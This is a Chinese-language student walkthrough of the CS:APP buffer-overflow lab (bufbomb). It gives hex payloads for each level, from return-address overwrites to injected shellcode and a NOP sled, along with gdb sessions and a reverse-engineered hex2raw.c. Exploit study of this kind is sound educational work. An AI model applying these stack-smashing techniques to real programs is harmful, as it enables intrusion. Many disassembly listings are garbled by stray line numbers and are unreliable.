这个实验主要是模拟缓冲区溢出。实验中涉及到3个可执行的二进制文件bufbomb,hex2raw,makecookie。bufbomb是进行缓冲区实验的目标程序;既然是缓冲区溢出实验,肯定得有一个导致缓冲区溢出的条件,这个实验是通过类似于c语言中的gets函数的Gets读取一行数据到固定大小的缓冲区,而当我们的输入超过了缓冲区的大小时,Gets没有任何的边界检查,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为,而如果gets从终端读取时,无法输入一些不可打印的数据,比如想输入控制字符0x09,于是就有了hex2raw这个程序,这个程序将16进制表示的字节转换成二进制字节数据,工作方式可用下面程序表示:
1char c; 2 while (scanf("%x", &c) != EOF) { 3 fwrite(&c, 1, 1, stdout) != 1); 4 } 5 c = '\n'; 6 fwrite(&c, 1, 1, stdout);
该文后面有对hex2raw二进制程序的逆向工作,得到源程序hex2raw.c,我从csapp官网下开的实验中的hex2raw是64位的二进制程序,而bufbomb,makecookie又是32位程序,所以估计是在64位机上加-m32选项生成的32位程序。最后的fwrite写入换行符表示行输入结束。而makecookie主要是为了防止学生直接copy别人答案用的,每个学生有一个唯一的提交作业的userid,makecookie为不同的userid计算出不同的cookie值。userid要通过命令行参数传给bufbomb,实验中我们在内存某个区域中用自己的cookie值覆盖原来的数据,bufbomb中会有一个validate函数的调用来比对传入的cookie值与命令行传入的userid计算得出的cookie是否相等,如果相等,作业是有效的,否则作业是无效的。
bufbomb程序中调用getbuf函数从标准输入读取一个字符串,getbuf函数定义如下:
1/* Buffer size for getbuf */ 2#define NORMAL_BUFFER_SIZE 32 3 4int getbuf() 5{ 6 char buf[NORMAL_BUFFER_SIZE]; 7 Gets(buf); 8 return 1; 9}
bufbomb不加-n选项表示每次运行bufbomb程序时,test函数被调用时栈指针值每次都是一样的,不会改变,通过gdb查看到的esp与实际运行时一致,而加了-n选项时,栈指针值是不确定的,会在一个范围内变化。
Gets函数类似于标准库函数gets,无法判断buf是否能存下输入的字符串,仅仅只是将输入的字符串copy到以buf为首地址的内存中,可能超过分配的目的缓冲区。
这个作业分几个实验:
Level 0(10分)
bufbomb中的test函数中调用了getbuf函数
1void test() { 2 int val; 3 /* Put canary on stack to detect possible corruption */ 4 volatile int local = uniqueval(); 5 6 val = getbuf(); 7 8 /* Check for corruption stack */ 9 if (local != uniqueval()) { 10 printf("Sabotaged!: the stack has been corrupted\n"); 11 } 12 else if (val == cookie) { 13 printf("Boom!: getbuf returned 0x%x\n", val); 14 validate(3); 15 } else { 16 printf("Dud: getbuf returned 0x%x\n", val); 17 } 18}
而bufbomb中还有一个函数smoke
1void smoke() { 2 puts("Smoke!: You called smoke()"); 3 validate(0); 4 exit(0); 5}
我们的任务是当程序在执行完getbuf后返回时不返回到test函数中而是去执行smoke函数并退出。
反汇编bufbomb可以得到getbuf函数的汇编代码:
1 08048c04 2 3 4 <getbuf>: 5 8 6 7 8 048c04 9 10 11 : 12 13 14 55 15 16 17 18 19 20 push 21 22 23 %ebp 24 8 25 26 27 048c05 28 29 30 : 31 32 33 89 34 35 36 e5 37 38 39 mov 40 41 42 %esp,%ebp 43 8 44 45 46 048c07 47 48 49 : 50 51 52 83 53 54 55 ec 56 57 58 38 59 60 61 62 63 64 sub 65 66 67 $0x38,%esp 68 8 69 70 71 048c0a 72 73 74 : 8d 75 76 77 45 78 79 80 d8 81 82 83 lea 84 85 86 -0x28(%ebp),%eax 87 88 89 ; 90 91 92 buf 93 94 95 96 97 98 99 8 100 101 102 048c0d 103 104 105 : 106 107 108 89 109 110 111 112 113 114 04 115 116 117 118 119 120 24 121 122 123 124 125 126 mov 127 128 129 %eax,(%esp) 130 8 131 132 133 048c10 134 135 136 : e8 137 138 139 35 140 141 142 ff ff ff 143 144 145 call 146 147 148 8 149 150 151 048b4a 152 153 154 <Gets> 155 8 156 157 158 048c15 159 160 161 : b8 162 163 164 01 165 166 167 168 169 170 00 171 172 173 174 175 176 00 177 178 179 180 181 182 00 183 184 185 186 187 188 mov 189 190 191 $0x1,%eax 192 8 193 194 195 048c1a 196 197 198 : c9 199 200 201 leave 202 203 204 205 8 206 207 208 048c1b 209 210 211 : c3 212 213 214 ret 215 216 217 218 219 220 221
当执行Gets时,要让程序不返回调用函数test,getbuf返回地址是指函数getbuf执行完后,跳转到这个地址处继续执行,我们应该将getbuf返回地址处的内容改成smoke函数的地址,查看bufbomb的反汇编代码smoke的函数的起始地址为0x080490ba,从buf的起始地址到返回地址总共有48个字节,前44个字节的内容无关重要,但最后4个字节我们要填入0x080490ba,由于Gets是通过换行符\n(ASCII值0x0a)界定输入终止的,所以前44个字节只要保证不含\n就行了。可以新建一个文本文档smoke-gallant.txt,内容如下:
130 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 230 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 330 31 32 33 4ba 90 04 08
我们用的电脑基本上都是x86的处理器,是小端序,也即低有效字节位于低地址端,最后一个字是0x080490ba,从低地址到高地址就应该是ba 90 04 08。通过Linux的管道机制
1./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant 2$ ./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant 3Userid: gallant 4Cookie: 0x5436c64b 5Type string:Smoke!: You called smoke() 6VALID 7NICE JOB!
这个实验中实际上没有用到我们的userid来计算cookie比对。
Level 1(10分)
bufbomb可执行文件中有一个函数fizz:
1void fizz(int val) { 2 if (val == cookie) { 3 printf("Fizz!: You called fizz(0x%x)\n", val); 4 validate(1); 5 } 6 else 7 printf("Misfire: You called fizz(0x%x)\n", val); 8 9 exit(0); 10}
与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值
1$ ./makecookie gallant 20x5436c64b
fizz函数的首地址为0x0804906f,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值0x5436c64b输入到在fizz函数中fizz函数返回地址的上一个4字节处。

新建文本文档fizz-gallant.txt输入以下内容:
130 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 230 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 330 31 32 33 46f 90 04 08 530 31 32 33 64b c6 36 54
fizz函数的地址值和cookie值是不能变的,其它的只要不是0a就行了
1$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u gallant 2Userid: gallant 3Cookie: 0x5436c64b 4Type string:Fizz!: You called fizz(0x5436c64b) 5VALID 6NICE JOB!
这个时候cookie值就起作用了,当我们直接copy别人的答案,交作业只能用自己的名字
1$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u myname 2Userid: myname 3Cookie: 0x2d684f9b 4Type string:Misfire: You called fizz(0x5436c64b)
这就不是一个valid的作业!
Level 2(15分)
bufbomb文件中有一个函数bang
1int global_value = 0; 2void bang(int val) { 3 if (global_value == cookie) { 4 printf("Bang!: You set global_value to 0x%x\n", global_value); 5 validate(2); 6 } 7 else 8 printf("Misfire: global_value = 0x%x\n", global_value); 9 10 exit(0); 11}
任务是getbuf不返回到test,而是执行bang函数,但是我们之前要修改global_value的值为cookie值。在程序运行期间要修改全局变量的值,全局变量没有存储在栈里面,所以我们只能通过执行赋值指令方式改变global_value的值。让程序跳转到栈中某个我们写入了指令的地址,报告完后返回,也即模拟一个函数调用,这个函数的可执行代码位于栈中。
通过查看bang的反汇编代码与C语言代码对比
1 08049022 2 3 4 <bang>: 5 6 7 8 8049022 9 10 11 : 12 13 14 55 15 16 17 18 19 20 push 21 22 23 %ebp 24 25 26 27 8049023 28 29 30 : 31 32 33 89 34 35 36 e5 37 38 39 mov 40 41 42 %esp,%ebp 43 44 45 46 8049025 47 48 49 : 50 51 52 83 53 54 55 ec 56 57 58 18 59 60 61 62 63 64 sub 65 66 67 $0x18,%esp 68 69 70 71 8049028 72 73 74 : a1 ec c1 75 76 77 04 78 79 80 81 82 83 08 84 85 86 87 88 89 mov 90 91 92 0x804c1ec,%eax 93 94 95 ; 96 97 98 global_value 99 100 101 102 103 104 105 8 106 107 108 04902d 109 110 111 : 3b 112 113 114 05 115 116 117 e4 c1 118 119 120 04 121 122 123 124 125 126 08 127 128 129 130 131 132 cmp 133 134 135 0x804c1e4,%eax 136 137 138 ; 139 140 141 cookie 142 143 144 145 146 147 148 149 150 151 8049033 152 153 154 : 155 156 157 75 158 159 160 1e 161 162 163 jne 164 165 166 167 168 169 8049053 170 171 172 <bang+0x31> 173 174 175 176 8049035 177 178 179 : 180 181 182 89 183 184 185 186 187 188 44 189 190 191 192 193 194 24 195 196 197 198 199 200 04 201 202 203 204 205 206 mov 207 208 209 %eax,0x4(%esp) 210 211 212 213 8049039 214 215 216 : c7 217 218 219 04 220 221 222 223 224 225 24 226 227 228 229 230 231 90 232 233 234 a1 235 236 237 04 238 239 240 241 242 243 08 244 245 246 movl $0x804a190,(%esp) 247 248 249 250 8049040 251 252 253 : e8 9b f8 ff ff 254 255 256 call 257 258 259 8 260 261 262 0488e0 263 264 265 <printf@plt> 266 267 268 269
知道global_value的地址为0x804c1ec,当然通过objdump显示符号表中也能直接知道global_value的存储地址,改变global_value值为cookie值可以用汇编表示:
1 movl $0x5436c64b, %eax 2 3 4 ; 5 6 7 将cookie值存入eax寄存器 8 9 10 11 12 13 14 movl $0x804c1ec, %ecx 15 16 17 ; 18 19 20 将global_value的地址存入ecx寄存器 21 22 23 24 25 26 27 movl %eax, (%ecx) 28 29 30 ; 31 32 33 cookie值存到了global_value中 34 35 36 37 38 39 40 ret 41 42 43 44 45 46 ; 47 48 49 通过ret调用改变eip转到bang函数中 50 51 52 53 54 55 56
将以上这4条代码保存到文件bang_gallant.s中
1 $ as bang_gallant.s -o bang_gallant.o 2$ objdump -d bang_gallant.o 3 4bang_gallant. 5 6 7 o: 8 9 10 file format elf32-i386 11 12 13Disassembly of section . 14 15 16 text: 17 18 19 20 21 22 23 24 00000000 25 26 27 <.text>: 28 29 30 31 0 32 33 34 : b8 4b c6 35 36 37 36 38 39 40 41 42 43 54 44 45 46 47 48 49 mov 50 51 52 $0x5436c64b,%eax 53 54 55 56 5 57 58 59 : b9 ec c1 60 61 62 04 63 64 65 66 67 68 08 69 70 71 72 73 74 mov 75 76 77 $0x804c1ec,%ecx 78 79 80 81 a: 82 83 84 85 86 87 89 88 89 90 91 92 93 01 94 95 96 97 98 99 mov 100 101 102 %eax,(%ecx) 103 104 105 106 c: 107 108 109 c3 110 111 112 ret 113 114 115 116 117 118 119
getbuf执行完后的返回地址改成buf的首地址,上一个栈的4字节改成bang函数的地址,这样当在getbuf中调用ret返回时程序会跳转到buf处报告上面的指令,出现ret时会跳转到bang函数中执行。
getbuf中的buf位于栈中,而buf的位置不是绝对地址,我们只能通过gdb来查看buf的地址值,在我的电脑上:
1$uname -mro 23.6.9-1-ARCH i686 GNU/Linux 3$ gdb --quiet ./bufbomb 4Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done. 5(gdb) break getbuf 6Breakpoint 1 at 0x8048c0a 7(gdb) run -u gallant 8Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant 9warning: Could not load shared library symbols for linux-gate.so.1. 10Do you need "set solib-search-path" or "set sysroot"? 11Userid: gallant 12Cookie: 0x5436c64b 13 14Breakpoint 1, 0x08048c0a in getbuf () 15(gdb) print /x ($ebp-0x28) 16$1 = 0x55683408 17(gdb)
这样知道了buf的在我的电脑中运行时首地址为0x55683408
新建文件bang-gallant.txt写入以下内容:
1b8 4b c6 36 54 b9 ec c1 04 08 89 01 c3 230 31 32 33 34 35 36 37 38 39 330 31 32 33 34 35 36 37 38 39 430 31 32 33 34 35 36 37 38 39 530 608 34 68 55 22 90 04 08
前13个字节是代码,后面的31个是填充用的,接下来8字节分别是buf的首地址和bang函数的入口地址
1$ ./hex2raw < bang-gallant.txt | ./bufbomb -u gallant 2Userid: gallant 3Cookie: 0x5436c64b 4Type string:Bang!: You set global_value to 0x5436c64b 5VALID 6NICE JOB!
之前的实验都是破坏了栈的状态而跳转到另一个程序中执行并退出,这个实验要求程序要正常返回到test执行,并且改变返回值为cookie的值,且不能破坏test函数的栈状态。
同样可以用上一个实验的方式,但我们在执行时要把破坏的栈恢复过来,并直接返回到test
在getbuf返回地址中填充buf的首地址,当getbuf函数碰到返回指令ret时,将跳转到buf处执行,此时esp寄存器指向getbuf返回地址的高一个字节
1 movl $0x5436c64b, %eax 2 3 4 ; 5 6 7 返回cookie值 8 9 10 11 12 13 14 pushl $0x8048c93 15 16 17 ; 18 19 20 返回地址指向test中的getbuf调用后一条指令 21 22 23 24 25 26 27 ret 28 29 30 31 32 33 ; 34 35 36 返回test继续执行 37 38 39 40 41 42 43
新建文件level3-gallant.s写入上面3条指令,执行
1 $ as level3-gallant.s -o level3-gallant.o 2$ objdump -d level3-gallant.o 3 4level3-gallant. 5 6 7 o: 8 9 10 file format elf32-i386 11 12 13Disassembly of section . 14 15 16 text: 17 18 19 20 21 22 23 24 00000000 25 26 27 <.text>: 28 29 30 31 0 32 33 34 : b8 4b c6 35 36 37 36 38 39 40 41 42 43 54 44 45 46 47 48 49 mov 50 51 52 $0x5436c64b,%eax 53 54 55 56 5 57 58 59 : 60 61 62 68 63 64 65 66 67 68 93 69 70 71 8c 72 73 74 04 75 76 77 78 79 80 08 81 82 83 84 85 86 push 87 88 89 $0x8048c93 90 91 92 93 a: 94 95 96 c3 97 98 99 ret 100 101 102 103 104 105 106
由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的epb寄存器的值
1$ gdb --quiet ./bufbomb 2Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done. 3(gdb) break getbuf 4Breakpoint 1 at 0x8048c0a 5(gdb) run -u gallant 6Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant 7warning: Could not load shared library symbols for linux-gate.so.1. 8Do you need "set solib-search-path" or "set sysroot"? 9Userid: gallant 10Cookie: 0x5436c64b 11 12Breakpoint 1, 0x08048c0a in getbuf () 13(gdb) print /x *(int*)($ebp) 14$1 = 0x55683460
新建文件level3-gallant.txt,输入以下内容
1b8 4b c6 36 54 268 93 8c 04 08 3c3 430 31 32 33 34 35 36 37 38 39 530 31 32 33 34 35 36 37 38 39 630 31 32 33 34 35 36 37 38 760 34 68 55 808 34 68 55
前11个字节是代码,接着29字节填充,4个字节的保存的ebp寄存器值,后4个字节是buf首地址
1$ ./hex2raw < level3-gallant.txt | ./bufbomb -u gallant 2Userid: gallant 3Cookie: 0x5436c64b 4Type string:Boom!: getbuf returned 0x5436c64b 5VALID 6NICE JOB!
Level 4(10分)
前几个实验中,调用test时栈指针均是不变的,但是这时我们给bufbomb加-n选项,这样main中调用testn而不是test,在testn在调用getbufn,这时栈底是不固定的,会在一定范围内变化,完成上一个实验相同的任务,但是这个实验中会调用testn五次,每次调用时栈指针都不同。
函数testn中调用getbufn时前代码:
1 08048c1c 2 3 4 <testn>: 5 8 6 7 8 048c1c 9 10 11 : 12 13 14 55 15 16 17 18 19 20 push 21 22 23 %ebp 24 8 25 26 27 048c1d 28 29 30 : 31 32 33 89 34 35 36 e5 37 38 39 mov 40 41 42 %esp,%ebp 43 8 44 45 46 048c1f 47 48 49 : 50 51 52 83 53 54 55 ec 56 57 58 28 59 60 61 62 63 64 sub 65 66 67 $0x28,%esp 68 8 69 70 71 048c22 72 73 74 : c7 75 76 77 45 78 79 80 f4 ef be ad de movl $0xdeadbeef,-0xc(%ebp) 81 8 82 83 84 048c29 85 86 87 : e8 b8 ff ff ff 88 89 90 call 91 92 93 8 94 95 96 048be6 97 98 99 <getbufn> 100 101 102 103
在调用getbufn时,ebp内容比esp内容大0x28,在函数getbufn中
1 08048be6 2 3 4 <getbufn>: 5 8 6 7 8 048be6 9 10 11 : 12 13 14 55 15 16 17 18 19 20 push 21 22 23 %ebp 24 8 25 26 27 048be7 28 29 30 : 31 32 33 89 34 35 36 e5 37 38 39 mov 40 41 42 %esp,%ebp 43 8 44 45 46 048be9 47 48 49 : 50 51 52 81 53 54 55 ec 56 57 58 18 59 60 61 62 63 64 02 65 66 67 68 69 70 00 71 72 73 74 75 76 00 77 78 79 80 81 82 sub 83 84 85 $0x218,%esp 86 8 87 88 89 048bef 90 91 92 : 8d 93 94 95 85 96 97 98 f8 fd ff ff 99 100 101 lea 102 103 104 -0x208(%ebp),%eax 105 8 106 107 108 048bf5 109 110 111 : 112 113 114 89 115 116 117 118 119 120 04 121 122 123 124 125 126 24 127 128 129 130 131 132 mov 133 134 135 %eax,(%esp) 136 8 137 138 139 048bf8 140 141 142 : e8 4d ff ff ff 143 144 145 call 146 147 148 8 149 150 151 048b4a 152 153 154 <Gets> 155 8 156 157 158 048bfd 159 160 161 : b8 162 163 164 01 165 166 167 168 169 170 00 171 172 173 174 175 176 00 177 178 179 180 181 182 00 183 184 185 186 187 188 mov 189 190 191 $0x1,%eax 192 8 193 194 195 048c02 196 197 198 : c9 199 200 201 leave 202 203 204 205 8 206 207 208 048c03 209 210 211 : c3 212 213 214 ret 215 216 217 218 219 220 221 222
保存的ebp的值就是testn函数中值,当执行完ret后,通过执行
lea 0x28(%esp), %ebp
恢复ebp内容
1 lea 2 3 4 0x28(%esp), %ebp 5 6 7 ; 8 9 10 恢复ebp寄存器内容 11 12 13 14 15 16 17 movl $0x5436c64b, %eax 18 19 20 ; 21 22 23 返回cookie值 24 25 26 27 28 29 30 pushl $0x8048c2e 31 32 33 ; 34 35 36 返回地址指向testn中的getbufn调用后一条指令 37 38 39 40 41 42 43 ret 44 45 46 47 48 49 ; 50 51 52 返回testn继续执行 53 54 55 56 57 58 59 60 61 62 63
新建文件level4-gallant.s写入以下代码编译后再反汇编得到:
1 00000000 2 3 4 <.text>: 5 6 7 8 0 9 10 11 : 8d 6c 12 13 14 24 15 16 17 18 19 20 28 21 22 23 24 25 26 lea 27 28 29 0x28(%esp),%ebp 30 31 32 33 4 34 35 36 : b8 4b c6 37 38 39 36 40 41 42 43 44 45 54 46 47 48 49 50 51 mov 52 53 54 $0x5436c64b,%eax 55 56 57 58 9 59 60 61 : 62 63 64 68 65 66 67 2e 8c 68 69 70 04 71 72 73 74 75 76 08 77 78 79 80 81 82 push 83 84 85 $0x8048c2e 86 87 88 89 e: 90 91 92 c3 93 94 95 ret 96 97 98 99 100 101 102
共15字节,新建文件level4-gallant.txt
190 90 90 ... 90 ( 505个90(nop) ) 28d 6c 24 28 3b8 4b c6 36 54 468 2e 8c 04 08 5c3 630 31 32 33 798 32 68 55
前505字节的90,即机器指令空操作nop,紧跟着15字节指令,4字节填充,也可以直接在前面用509个空指令,15字节指令后移4字节,然后是指向buf中某个字节的地址,要保证总是指向buf到15字节之间(包括边界),通过gdb测试buf首地址:
1(gdb) break getbufn 2Breakpoint 1 at 0x8048bef 3(gdb) run -n -u gallant 4Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -n -u gallant 5warning: Could not load shared library symbols for linux-gate.so.1. 6Do you need "set solib-search-path" or "set sysroot"? 7Userid: gallant 8Cookie: 0x5436c64b 9 10Breakpoint 1, 0x08048bef in getbufn () 11(gdb) print /x ($ebp-0x208) 12$1 = 0x55683228 13(gdb) continue 14Continuing. 15Type string:hello 16Dud: getbufn returned 0x1 17Better luck next time 18 19Breakpoint 1, 0x08048bef in getbufn () 20(gdb) print /x ($ebp-0x208) 21$2 = 0x55683208 22(gdb) continue 23Continuing. 24Type string:hello 25Dud: getbufn returned 0x1 26Better luck next time 27 28Breakpoint 1, 0x08048bef in getbufn () 29(gdb) print /x ($ebp-0x208) 30$3 = 0x55683288 31(gdb) continue 32Continuing. 33Type string:hello 34Dud: getbufn returned 0x1 35Better luck next time 36 37Breakpoint 1, 0x08048bef in getbufn () 38(gdb) print /x ($ebp-0x208) 39$4 = 0x55683268 40(gdb) continue 41Continuing. 42Type string:hello 43Dud: getbufn returned 0x1 44Better luck next time 45 46Breakpoint 1, 0x08048bef in getbufn () 47(gdb) print /x ($ebp-0x208) 48$5 = 0x55683298 49(gdb) continue 50Continuing. 51Type string:hello 52Dud: getbufn returned 0x1 53Better luck next time 54[Inferior 1 (process 401) exited normally] 55(gdb)
得到5个地址中最大值为0x55683298,取这个地址在我的电脑上能够完成要求。
1$ cat level4-gallant.txt | ./hex2raw -n | ./bufbomb -n -u gallant 2Userid: gallant 3Cookie: 0x5436c64b 4Type string:KABOOM!: getbufn returned 0x5436c64b 5Keep going 6Type string:KABOOM!: getbufn returned 0x5436c64b 7Keep going 8Type string:KABOOM!: getbufn returned 0x5436c64b 9Keep going 10Type string:KABOOM!: getbufn returned 0x5436c64b 11Keep going 12Type string:KABOOM!: getbufn returned 0x5436c64b 13VALID 14NICE JOB!
由于我的实验系统是VMware player中的Arch Linux 32位虚拟机,不能运行csapp网站上下载的hex2raw的64位版本,将64位hex2raw可执行程序逆向得到源程序:
1#include <stdio.h> 2#include <stdlib.h> 3#include <string.h> 4#include <ctype.h> 5#include <unistd.h> 6 7void usage(const char *prog); 8char *convert_to_byte_string(FILE *fp, int *plen); 9 10int main(int argc, char **argv) { 11 int option; 12 int repeat = 1; 13 int count; 14 char *buf = NULL; 15 char ch; 16 17 while ((option = getopt(argc, argv, "nh")) != -1) { 18 if (option == 'h') { 19 usage(argv[0]); 20 return 0; 21 } 22 else if (option == 'n') { 23 repeat = 5; 24 } 25 else { 26 usage(argv[0]); 27 return -1; 28 } 29 } 30 31 buf = convert_to_byte_string(stdin, &count); 32 if (buf == NULL) 33 return -1; 34 35 ch = '\n'; 36 while (repeat-- > 0) { 37 write(1, buf, count); /* stdout */ 38 write(1, &ch, 1); 39 } 40 41 return 0; 42} 43 44int convert_to_hex_value(const char *hexstr) { 45 int val; 46 sscanf(hexstr, "%x", &val); 47 return val; 48} 49 50void usage(const char *prog) { 51 printf("usage: %s [-n] [-h]\n", prog); 52 puts(" -n Nitro mode"); 53 puts(" -h Print this help message"); 54} 55 56char *convert_to_byte_string(FILE *fp, int *plen) { 57 FILE *fin = fp; 58 char *buf = NULL; 59 char comment_start[] = "/*"; 60 char comment_end[] = "*/"; 61 char str[1024]; 62 int cnt = 0; 63 int num = 0; 64 int maxline = 1024; 65 66 if ((buf = malloc(maxline)) == NULL) 67 return NULL; 68 69 while (fscanf(fin, "%s", str) > 0) { 70 if (!strcmp(str, comment_start)) { 71 cnt++; 72 continue; 73 } 74 else if (!strcmp(str, comment_end)) { 75 if (cnt > 0) 76 cnt--; 77 else { 78 fprintf(stderr, "Error: stray %s found.\n", comment_end); 79 free(buf); 80 buf = NULL; 81 return NULL; 82 } 83 } 84 else { 85 if (cnt == 0) { /* not comment */ 86 if (isxdigit(str[0]) && isxdigit(str[1]) && str[2] == '\0') { 87 if (num == maxline) { 88 maxline *= 2; 89 buf = realloc(buf, maxline); 90 if (buf == NULL) 91 return NULL; 92 } 93 buf[num++] = convert_to_hex_value(str); 94 } 95 else { 96 fprintf(stderr,"Invalid hex value [%s]. Please specify only " 97 "single byte hex values separated by whitespace.\n", str); 98 free(buf); 99 buf = NULL; 100 return NULL; 101 } 102 } 103 } 104 } 105 106 *plen = num; 107 return buf; 108}
逆向这个完全是因为我想看下64位的可执行程序的结构^_^,可以看到这个程序支持/* */注释,当然/*及*/前后应该都要有空格

